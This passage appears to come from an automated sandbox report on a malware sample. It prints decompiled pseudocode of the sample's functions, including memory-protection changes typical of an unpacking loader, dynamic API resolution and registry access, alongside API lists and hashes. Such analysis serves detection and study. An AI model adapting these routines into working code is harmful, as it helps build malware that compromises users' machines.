					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x47d24c =  *0x47d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E0047A090(_t44, _t40); // executed
						_t18 = E00471B68(_t37, _t40, _t44); // executed
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x47d24c < 5) {
								 *0x47d24c =  *0x47d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E00479E85();
						HeapFree( *0x47d238, 0, _t40);
						goto L10;
					}
					_t24 = E00478D23(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				if(RtlAllocateHeap() == 0) {
					goto L6;
				}
				_t24 = E00471D67(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x004785f4
0x004785f7
0x004785f8
0x00478602
0x00478609
0x0047860e
0x00478610
0x00478616
0x0047863e
0x00478656
0x00478658
0x00478659
0x0047865b
0x00478699
0x00478699
0x0047869f
0x004786a5
0x004786a5
0x0047865d
0x00478663
0x00478666
0x00478675
0x00478677
0x0047867e
0x004786b2
0x004786b7
0x004786b9
0x004786bb
0x004786bb
0x00000000
0x004786b9
0x00478680
0x00478685
0x00478693
0x00000000
0x00478693
0x0047864d
0x00478652
0x00478652
0x00000000
0x00478652
0x00478620
0x00000000
0x00000000
0x0047862f
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,7671BB27), ref: 00478618

Part of subcall function 00471D67: GetTickCount.KERNEL32(7671BB27,03BC9C50,766F41C0,03BC9C50,00000002,004787B7,00000000), ref: 00471D7B
Part of subcall function 00471D67: wsprintfA.USER32 ref: 00471DCB
Part of subcall function 00471D67: wsprintfA.USER32 ref: 00471DE8
Part of subcall function 00471D67: wsprintfA.USER32 ref: 00471E14
Part of subcall function 00471D67: HeapFree.KERNEL32(00000000,?), ref: 00471E26
Part of subcall function 00471D67: wsprintfA.USER32 ref: 00471E47
Part of subcall function 00471D67: HeapFree.KERNEL32(00000000,?), ref: 00471E57
Part of subcall function 00471D67: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00471E85
Part of subcall function 00471D67: GetTickCount.KERNEL32 ref: 00471E96

RtlAllocateHeap.NTDLL(00000000,00000800,7671BB27), ref: 00478636
HeapFree.KERNEL32(00000000,00000002,004787B7), ref: 00478693

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: c38f377351add738c23076b5275944f85ea517287cd2d82812cc7e4653437535
Instruction ID: 9ffa9094b24386157ce2b919e2b683bdd9ec7ac8fa201e60904f23c9b1aa012b
Opcode Fuzzy Hash: c38f377351add738c23076b5275944f85ea517287cd2d82812cc7e4653437535
Instruction Fuzzy Hash: 05219071610204FBCB119F95DC48ADA37BCEF48344F10802FFA09AB261DB749941DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0038BE5A, Relevance: 4.6, APIs: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0038BE5A(void* __eax, void* __ebx) {
				intOrPtr _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				void* _t27;
				void* _t37;
				intOrPtr _t43;
				void* _t48;
				intOrPtr _t55;
				intOrPtr _t56;
				void* _t58;
				void* _t59;
				intOrPtr _t60;

				_t58 = _t59;
				_t60 = _t59 + 0xffffffe8;
				_v12 = 0;
				_push(_t58);
				_push(0x38bf32);
				_push( *[fs:eax]);
				 *[fs:eax] = _t60;
				_v8 = 0xffffffff;
				E00383F54( &_v12, __eax);
				E003843CC( &_v12);
				_push( &_v16);
				_t27 = E0038437C(_v12);
				_push(_t27); // executed
				L00386364(); // executed
				_t48 = _t27;
				if(_t48 == 0) {
					_pop(_t55);
					 *[fs:eax] = _t55;
					_push(E0038BF39);
					return E00383EBC( &_v12);
				} else {
					_v20 = E003826CC(_t48);
					_push(_t58);
					_push(0x38bf15);
					_push( *[fs:eax]);
					 *[fs:eax] = _t60;
					_push(_v20);
					_push(_t48);
					_push(_v16);
					_t37 = E0038437C(_v12);
					_push(_t37); // executed
					L0038635C(); // executed
					if(_t37 != 0) {
						_push( &_v28);
						_push( &_v24);
						_push(E0038BF44);
						_t43 = _v20;
						_push(_t43);
						L0038636C();
						if(_t43 != 0) {
							_v8 =  *((intOrPtr*)(_v24 + 8));
						}
					}
					_pop(_t56);
					 *[fs:eax] = _t56;
					_push(0x38bf1c);
					return E003826EC(_v20);
				}
			}

APIs

72FF1C9C.VERSION(00000000,?,00000000,0038BF32), ref: 0038BE9E
72FF1CED.VERSION(00000000,?,00000000,?,00000000,0038BF15,?,00000000,?,00000000,0038BF32), ref: 0038BED3
72FF1B72.VERSION(?,0038BF44,?,?,00000000,?,00000000,?,00000000,0038BF15,?,00000000,?,00000000,0038BF32), ref: 0038BEED

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d77d028ded0d745e794d4e54bb2a11dd1a4534c69af937d6ee0bc9f288fe334
Instruction ID: ea216a691b9032ef6e754208f98e534ef82544cf9f9e325a9d8b3d4e1e63a7de
Opcode Fuzzy Hash: 4d77d028ded0d745e794d4e54bb2a11dd1a4534c69af937d6ee0bc9f288fe334
Instruction Fuzzy Hash: 1721ED75A0074AAFDB02FFA9CC918AEF7FCEB08700B4144B5B610E7651E770A9148B64

Uniqueness

Uniqueness Score: -1.00%

Function 004311C0, Relevance: 4.6, APIs: 3, Instructions: 69
memoryCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E004311C0(void* __eax, long __edx, void* _a4) {
				signed int _v8;
				signed int _v12;
				long _v16;
				signed int _v20;
				int _t33;
				signed int _t36;
				long _t41;
				void* _t50;
				void* _t51;
				signed int _t54;

				_t41 = __edx;
				_v12 = _v12 & 0x00000000;
				_t36 =  *(__eax + 6) & 0x0000ffff;
				_t50 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v20 = _t36;
				VirtualProtect(_a4,  *(__eax + 0x54), 4,  &_v16); // executed
				_v8 = _v8 & 0x00000000;
				if(_t36 <= 0) {
					L11:
					return _v12;
				}
				_t51 = _t50 + 0x24;
				while(1) {
					_t54 = _v12;
					if(_t54 != 0) {
						goto L11;
					}
					asm("bt dword [esi], 0x1d");
					if(_t54 >= 0) {
						asm("bt dword [esi], 0x1e");
						if(__eflags >= 0) {
							_t41 = 4;
						} else {
							asm("bt dword [esi], 0x1f");
							asm("sbb edx, edx");
							_t41 = ( ~(_t41 & 0xffffff00 | __eflags > 0x00000000) & 0x00000002) + 2;
						}
					} else {
						asm("bt dword [esi], 0x1f");
						asm("sbb edx, edx");
						_t41 = ( ~(_t41 & 0xffffff00 | _t54 > 0x00000000) & 0x00000020) + 0x20;
					}
					_t33 = VirtualProtect( *((intOrPtr*)(_t51 - 0x18)) + _a4,  *(_t51 - 0x1c), _t41,  &_v16); // executed
					if(_t33 == 0) {
						_v12 = GetLastError();
					}
					_t51 = _t51 + 0x28;
					_v8 = _v8 + 1;
					if(_v8 < _v20) {
						continue;
					} else {
						goto L11;
					}
				}
				goto L11;
			}

0x004311c0
0x004311ca
0x004311cf
0x004311db
0x004311e8
0x004311ee
0x004311f0
0x004311f6
0x00431262
0x00431269
0x00431269
0x004311f8
0x004311fb
0x004311fb
0x004311ff
0x00000000
0x00000000
0x00431201
0x00431205
0x0043121a
0x0043121e
0x00431234
0x00431220
0x00431220
0x00431229
0x0043122f
0x0043122f
0x00431207
0x00431207
0x00431210
0x00431215
0x00431215
0x00431245
0x00431249
0x00431251
0x00431251
0x00431254
0x00431257
0x00431260
0x00000000
0x00000000
0x00000000
0x00000000
0x00431260
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,00000004,?), ref: 004311EE
VirtualProtect.KERNELBASE(00000000,?,00000004,?), ref: 00431245
GetLastError.KERNEL32 ref: 0043124B

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: 9bcb75575f5f9930104bbc3e566bca9f47df878b6d398c3146685c4c01900759
Instruction ID: 301fbf2279751fb45409bc15472d15397b8dc5b42f74ca522c0683431c76909d
Opcode Fuzzy Hash: 9bcb75575f5f9930104bbc3e566bca9f47df878b6d398c3146685c4c01900759
Instruction Fuzzy Hash: 6021D572900109EFDF108F88CC81EAEF7B4FF58315F10459AE541A6211D3789A89CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00431936, Relevance: 4.6, APIs: 3, Instructions: 61
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00431936() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t16;
				void* _t17;
				long _t26;
				int _t27;
				void* _t31;
				intOrPtr* _t33;
				signed int _t36;
				void* _t38;
				intOrPtr _t39;
				int _t44;

				_t16 =  *0x434150;
				if( *0x43412c > 5) {
					_t17 = _t16 + 0x4350f9;
				} else {
					_t17 = _t16 + 0x4350b1;
				}
				E00431815(_t17, _t17);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				if(E00431C94( &_v32,  &_v16,  *0x43414c ^ 0xfd7cd1cf) == 0) {
					_t26 = 0xb;
				} else {
					_t27 = lstrlenW( *0x434138);
					_t8 = _t27 + 2; // 0x2
					_t44 = _t27 + _t8;
					_t11 = _t44 + 8; // 0xa
					_t31 = E004312F4(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t31 == 0) {
						_t38 =  *0x434138;
						_t33 = _v36;
						 *_t33 = 0;
						if(_t38 == 0) {
							 *(_t33 + 4) =  *(_t33 + 4) & 0x00000000;
						} else {
							memcpy(_t33 + 4, _t38, _t44);
						}
					}
					_t26 = E00431884(_v28, _t39); // executed
				}
				ExitThread(_t26);
			}

0x0043193c
0x0043194d
0x00431957
0x0043194f
0x0043194f
0x0043194f
0x0043195e
0x00431967
0x0043196c
0x0043198a
0x004319e9
0x0043198c
0x00431992
0x00431998
0x00431998
0x004319a6
0x004319aa
0x004319b1
0x004319b3
0x004319bb
0x004319bf
0x004319c5
0x004319d7
0x004319c7
0x004319cd
0x004319d2
0x004319c5
0x004319e0
0x004319e0
0x004319eb

APIs

lstrlenW.KERNEL32(?,?,?,?), ref: 00431992
memcpy.NTDLL(?,?,00000002), ref: 004319CD
ExitThread.KERNEL32 ref: 004319EB

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: ExitThreadlstrlenmemcpy
String ID:
API String ID: 3726537860-0
Opcode ID: bcea94264904edb7e82437ffd25dfcd4f2c93a39c2b103eea492bdd222e3a8c9
Instruction ID: 4bbb02a5b32d8fb4280c61c4ca7e534224af1475fb4e4e7ab47060719c49998b
Opcode Fuzzy Hash: bcea94264904edb7e82437ffd25dfcd4f2c93a39c2b103eea492bdd222e3a8c9
Instruction Fuzzy Hash: D611BEB2404201ABDB14DBA1CC49EA777ECAF49314F01282BF545D31B1E738E548CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00478442, Relevance: 4.6, APIs: 3, Instructions: 52COMMON

Download Yara Rule

APIs

SafeArrayCreate.OLEAUT32(00000011,00000001,80000002), ref: 0047846A
memcpy.NTDLL(?,?,?), ref: 00478484

Part of subcall function 00472681: SysFreeString.OLEAUT32(?), ref: 00472760

SafeArrayDestroy.OLEAUT32(?), ref: 004784B9

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: ArraySafe$CreateDestroyFreeStringmemcpy
String ID:
API String ID: 4076844959-0
Opcode ID: 36b67b2890741dce70748fdabda1d4bac8454e7d95c9cb3392cc206c71cd88b3
Instruction ID: d60889409ba05d17425271cd1c66ad26ddf8c367597f30fa83b6b1d3fa2c189e
Opcode Fuzzy Hash: 36b67b2890741dce70748fdabda1d4bac8454e7d95c9cb3392cc206c71cd88b3
Instruction Fuzzy Hash: 8311A07290010ABFDF009FA5CC45EEEBBBCEF08310F008165FA08E2161E3749A15CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02355A4F, Relevance: 4.5, APIs: 3, Instructions: 49memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000000,?,?,?,02357B48,?,?,?,?,00000000,02363618,00000018,0234D2BD,00000000,?), ref: 02355A81
VirtualProtect.KERNELBASE(?,00000004,00000040,00000000,?,00000000,?,?,?,02357B48,?,?,?,?,00000000,02363618), ref: 02355A9B
VirtualProtect.KERNELBASE(?,00000004,00000000,00000000,?,?,?,02357B48,?,?,?,?,00000000,02363618,00000018,0234D2BD), ref: 02355ACE

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ProtectVirtual$lstrlen
String ID:
API String ID: 386137988-0
Opcode ID: 55624278a7ff14b7f6b09702aa6e8166646cb467a136ffdac9b3fcb04d2028ca
Instruction ID: 2f64a99e47556c0b3de93254afbc9773b8eea401aaceadc5d3563eb3fe1a0007
Opcode Fuzzy Hash: 55624278a7ff14b7f6b09702aa6e8166646cb467a136ffdac9b3fcb04d2028ca
Instruction Fuzzy Hash: 47117CB1900218EFEB11CF54C885F9EBBB8EF04755F518089FD0996201D378EA94CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00476C7E, Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00476C7E(intOrPtr __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				void _v60;
				char _v64;
				long _t14;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t26;
				intOrPtr _t27;
				long _t28;

				_t27 = __edi;
				_t26 = _a8;
				_t14 = E00471B9F(_a4, _t26, __edi); // executed
				_t28 = _t14;
				if(_t28 != 0) {
					memset( &_v60, 0, 0x38);
					_t18 =  *0x47d27c; // 0x374a7d0
					_t28 = 0;
					_v64 = 0x3c;
					if(_a12 == 0) {
						_t7 = _t18 + 0x47e4e8; // 0x70006f
						_t19 = _t7;
					} else {
						_t6 = _t18 + 0x47e90c; // 0x750072
						_t19 = _t6;
					}
					_v52 = _t19;
					_push(_t28);
					_v48 = _a4;
					_v44 = _t26;
					_v36 = _t27;
					E00472652();
					_push( &_v64);
					if( *0x47d0e4() == 0) {
						_t28 = GetLastError();
					}
					_push(1);
					E00472652();
				}
				return _t28;
			}

0x00476c7e
0x00476c85
0x00476c8e
0x00476c93
0x00476c97
0x00476ca1
0x00476ca6
0x00476cab
0x00476cb3
0x00476cba
0x00476cc4
0x00476cc4
0x00476cbc
0x00476cbc
0x00476cbc
0x00476cbc
0x00476cca
0x00476cd0
0x00476cd1
0x00476cd4
0x00476cd7
0x00476cda
0x00476ce2
0x00476ceb
0x00476cf3
0x00476cf3
0x00476cf5
0x00476cf7
0x00476cf7
0x00476d01

APIs

Part of subcall function 00471B9F: SysAllocString.OLEAUT32(00000000), ref: 00471BFB
Part of subcall function 00471B9F: SysAllocString.OLEAUT32(0070006F), ref: 00471C0F
Part of subcall function 00471B9F: SysAllocString.OLEAUT32(00000000), ref: 00471C21
Part of subcall function 00471B9F: SysFreeString.OLEAUT32(00000000), ref: 00471C85

memset.NTDLL ref: 00476CA1
GetLastError.KERNEL32 ref: 00476CED

Strings

<, xrefs: 00476CB3

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Alloc$ErrorFreeLastmemset
String ID: <
API String ID: 1330562889-4251816714
Opcode ID: 8017f69f288f599f749cc3cf7d22dcd83880d1c7b7eb7aa9ec8b2d258ff33c8c
Instruction ID: 789c0015d2eb1b3da747a0642e3481252fc66fbe2d30c029c22eb127977d644f
Opcode Fuzzy Hash: 8017f69f288f599f749cc3cf7d22dcd83880d1c7b7eb7aa9ec8b2d258ff33c8c
Instruction Fuzzy Hash: A601A171900218AFCB10EFA9C885EDE7BB8EF08744F00802BFA0CE7211E77499058B98

Uniqueness

Uniqueness Score: -1.00%

Function 02342A10, Relevance: 4.5, APIs: 3, Instructions: 39registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 02342A25
RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 02342A32
lstrlen.KERNEL32(?,00000000,00000000,?,?,?,00000000,?,?,?,0234191D,00000000,?), ref: 02342A53

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CreateOpenlstrlen
String ID:
API String ID: 2865187142-0
Opcode ID: 9f372c97f8a754bbb4976b64c5ea5fb8b907288f8e2f43aee86e921dcdc59658
Instruction ID: ec773bbbe1548d63e2733212efe95c95460098dfb2765dbee9f33ce0bc23bafd
Opcode Fuzzy Hash: 9f372c97f8a754bbb4976b64c5ea5fb8b907288f8e2f43aee86e921dcdc59658
Instruction Fuzzy Hash: 5CF04F75404208BBE7209B91D888EAB7BACEB45354F108056FD4292200DA74E990CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 0047701E, Relevance: 4.5, APIs: 3, Instructions: 35
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0047701E(void* __ecx) {
				signed int _v8;
				_Unknown_base(*)()* _t9;
				signed int _t11;
				intOrPtr _t12;
				struct HINSTANCE__* _t14;
				intOrPtr _t17;
				intOrPtr _t20;

				_t9 =  *0x47d284;
				_v8 = _v8 & 0x00000000;
				_t20 =  *0x47d254; // 0x190
				if(_t9 != 0) {
					L2:
					if(_t20 != 0) {
						_t11 =  *_t9(_t20,  &_v8); // executed
						if(_t11 == 0) {
							_v8 = _v8 & _t11;
						}
					}
					L5:
					return _v8;
				}
				_t12 =  *0x47d27c; // 0x374a7d0
				_t3 = _t12 + 0x47e0af; // 0x4e52454b
				_t14 = GetModuleHandleA(_t3);
				_t17 =  *0x47d27c; // 0x374a7d0
				_t4 = _t17 + 0x47ea06; // 0x6f577349
				 *0x47d274 = _t14;
				_t9 = GetProcAddress(_t14, _t4);
				 *0x47d284 = _t9;
				if(_t9 == 0) {
					goto L5;
				}
				goto L2;
			}

0x00477022
0x00477027
0x0047702e
0x00477034
0x0047706a
0x0047706c
0x00477073
0x00477077
0x00477079
0x00477079
0x00477077
0x0047707c
0x00477081
0x00477081
0x00477036
0x0047703b
0x00477042
0x00477048
0x0047704e
0x00477056
0x0047705b
0x00477063
0x00477068
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(4E52454B,00000000,?,?,00479AA1,?,00000001,?,?,?,00477E84,?), ref: 00477042
GetProcAddress.KERNEL32(00000000,6F577349,?,?,00479AA1,?,00000001,?,?,?,00477E84,?), ref: 0047705B
IsWow64Process.KERNELBASE(00000190,00000000,00000000,?,?,00479AA1,?,00000001,?,?,?,00477E84,?), ref: 00477073

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressHandleModuleProcProcessWow64
String ID:
API String ID: 1818662866-0
Opcode ID: eabaac6942ba8a4ed0e373f873c9c6085e8c48204f511af09c1264b23c78b6e3
Instruction ID: 31471c68f5128ddbf68f4895455f86ee1a2b7652ec27d673a7c2163f6d201b07
Opcode Fuzzy Hash: eabaac6942ba8a4ed0e373f873c9c6085e8c48204f511af09c1264b23c78b6e3
Instruction Fuzzy Hash: 84F03171911245EFDF10CB69DD44AA773FCEF08324B0041A9A50DD3211E774DE42DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0235D0BF, Relevance: 4.5, APIs: 3, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(000001F4,023505B7), ref: 0235D0C9

Part of subcall function 02344099: SleepEx.KERNEL32(00000064,00000001,00000000,?,?,?,0235D0D4), ref: 023440C2
Part of subcall function 02344099: RtlDeleteCriticalSection.NTDLL(02367360), ref: 023440F5
Part of subcall function 02344099: RtlDeleteCriticalSection.NTDLL(02367380), ref: 023440FC
Part of subcall function 02344099: ReleaseMutex.KERNEL32(000001CC,00000000,?,?,?,0235D0D4), ref: 02344125
Part of subcall function 02344099: CloseHandle.KERNEL32 ref: 02344131
Part of subcall function 02344099: ResetEvent.KERNEL32(00000000,00000000,?,?,?,0235D0D4), ref: 0234413D
Part of subcall function 02344099: CloseHandle.KERNEL32 ref: 02344149
Part of subcall function 02344099: SleepEx.KERNEL32(00000064,00000001,00000000,?,?,?,0235D0D4), ref: 0234414F
Part of subcall function 02344099: SleepEx.KERNEL32(00000064,00000001,?,?,0235D0D4), ref: 02344163
Part of subcall function 02344099: HeapFree.KERNEL32(00000000,00000000), ref: 02344187
Part of subcall function 02344099: RtlRemoveVectoredExceptionHandler.NTDLL(0027A060), ref: 023441BD
Part of subcall function 02344099: SleepEx.KERNEL32(00000064,00000001,?,?,0235D0D4), ref: 023441D9

CloseHandle.KERNEL32(000001F4), ref: 0235D0DE
HeapDestroy.KERNELBASE(04510000), ref: 0235D0EE

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Sleep$CloseHandle$CriticalDeleteEventHeapSection$DestroyExceptionFreeHandlerMutexReleaseRemoveResetVectored
String ID:
API String ID: 2773679374-0
Opcode ID: 1a53303cb012e9fcd481dd4c76c2c6df393261ba8c8a265b5e6b88411f4f20d9
Instruction ID: 612e392ef52d0483a99f88c14c93686cff408e7681933c3c35500132dba94d4e
Opcode Fuzzy Hash: 1a53303cb012e9fcd481dd4c76c2c6df393261ba8c8a265b5e6b88411f4f20d9
Instruction Fuzzy Hash: 69E067F0F90216ABDB609F76E84CE1677ECAF04B49B44CC65F916D7144DF24E42ACA20

Uniqueness

Uniqueness Score: -1.00%

Function 00478186, Relevance: 3.8, APIs: 3, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00478186(void* __edx, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v12;
				signed int _v16;
				void* _v20;
				signed char _v36;
				void* __ebx;
				void* _t24;
				intOrPtr _t27;
				signed int _t38;
				signed char* _t46;
				void* _t51;
				int _t53;
				void* _t55;
				void* _t56;
				void* _t57;

				_t51 = __edx;
				_v16 = _v16 & 0x00000000;
				_t46 = _a4;
				_t53 = ( *_t46 & 0x000000ff) + 0x90;
				_v12 = 0x90;
				_t24 = E004716F8(_t53);
				_a4 = _t24;
				if(_t24 != 0) {
					memcpy(_t24,  *0x47d2d0, 0x90);
					_t27 =  *0x47d2d4; // 0x0
					_t57 = _t56 + 0xc;
					if(_t27 != 0) {
						E00471CC0(_t46, _a4, 0x90, _t27, 0);
					}
					if(E0047277E( &_v36) != 0 && E00471000(0x90, _a4,  &_v20,  &_v12,  &_v36, 0) == 0) {
						_t55 = _v20;
						_v36 =  *_t46;
						_t38 = E00479C82(_a8,  &_v36, _t51, _t46, _a12, _t55); // executed
						_v16 = _t38;
						 *(_t55 + 4) = _v36;
						_t20 =  &(_t46[4]); // 0x8b4875fc
						memset(_t55, 0, _v12 - ( *_t20 & 0xf));
						_t57 = _t57 + 0xc;
						E004770FF(_t55);
					}
					memset(_a4, 0, _t53);
					E004770FF(_a4);
				}
				return _v16;
			}

0x00478186
0x0047818c
0x00478191
0x0047819e
0x004781a1
0x004781a4
0x004781ab
0x004781ae
0x004781bc
0x004781c1
0x004781c6
0x004781cb
0x004781d6
0x004781d6
0x004781e5
0x00478203
0x0047820c
0x00478213
0x0047821b
0x00478221
0x00478224
0x00478231
0x00478236
0x0047823a
0x0047823a
0x00478245
0x00478250
0x00478250
0x0047825c

APIs

Part of subcall function 004716F8: RtlAllocateHeap.NTDLL(00000000,00000000,0047147D), ref: 00471704

memcpy.NTDLL(00000000,00000090,00000002,00000002,004787B7,00000008,004787B7,004787B7,?,0047867C,004787B7), ref: 004781BC
memset.NTDLL ref: 00478231
memset.NTDLL ref: 00478245

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$AllocateHeapmemcpy
String ID:
API String ID: 1529149438-0
Opcode ID: 4a53c923976d0dde3d092d8eff2ab000eaa7e486c68ccc8ddb93b6d86e41494d
Instruction ID: ca350f8b90dbcdf84cfe261e98ab40d81ab56678a7b1b1ae41471482cfc2459f
Opcode Fuzzy Hash: 4a53c923976d0dde3d092d8eff2ab000eaa7e486c68ccc8ddb93b6d86e41494d
Instruction Fuzzy Hash: 962124759001146BDF11AF6ACC45FEF7BBCAF04754F04845AF909E6252EB38D901CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 003D3E60, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E003D3E60(void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t5;
				intOrPtr _t7;
				intOrPtr _t9;
				intOrPtr _t11;
				intOrPtr _t13;
				void* _t15;
				void* _t16;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t27;

				_t24 = __esi;
				_t16 = __ecx;
				_push(_t27);
				_push(0x3d3ee6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t27;
				 *0x3dbb60 =  *0x3dbb60 - 1;
				if( *0x3dbb60 < 0) {
					L00386254();
					 *0x3dbb5c = 0 - 4 >= 0; // executed
					_t30 =  *0x3dbb5c;
					E003D3C2C(_t15, __edi,  *0x3dbb5c);
					_t5 =  *0x3c43f0; // 0x3c443c
					E00396770(_t5, _t15, _t16,  *0x3dbb5c);
					_t7 =  *0x3c43f0; // 0x3c443c
					E00396810(_t7, _t15, _t16, _t30);
					_t20 =  *0x3c43f0; // 0x3c443c
					_t9 =  *0x3bb520; // 0x3bb56c
					E003967BC(_t9, _t15, _t20, __esi, _t30);
					_t21 =  *0x3c43f0; // 0x3c443c
					_t11 =  *0x3adf8c; // 0x3adfd8
					E003967BC(_t11, _t15, _t21, __esi, _t30);
					_t22 =  *0x3c43f0; // 0x3c443c
					_t13 =  *0x3ae0b0; // 0x3ae0fc
					E003967BC(_t13, _t15, _t22, _t24, _t30);
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(0x3d3eed);
				return 0;
			}

0x003d3e60
0x003d3e60
0x003d3e65
0x003d3e66
0x003d3e6b
0x003d3e6e
0x003d3e71
0x003d3e78
0x003d3e7a
0x003d3e88
0x003d3e88
0x003d3e8f
0x003d3e94
0x003d3e99
0x003d3e9e
0x003d3ea3
0x003d3ea8
0x003d3eae
0x003d3eb3
0x003d3eb8
0x003d3ebe
0x003d3ec3
0x003d3ec8
0x003d3ece
0x003d3ed3
0x003d3ed3
0x003d3eda
0x003d3edd
0x003d3ee0
0x003d3ee5

APIs

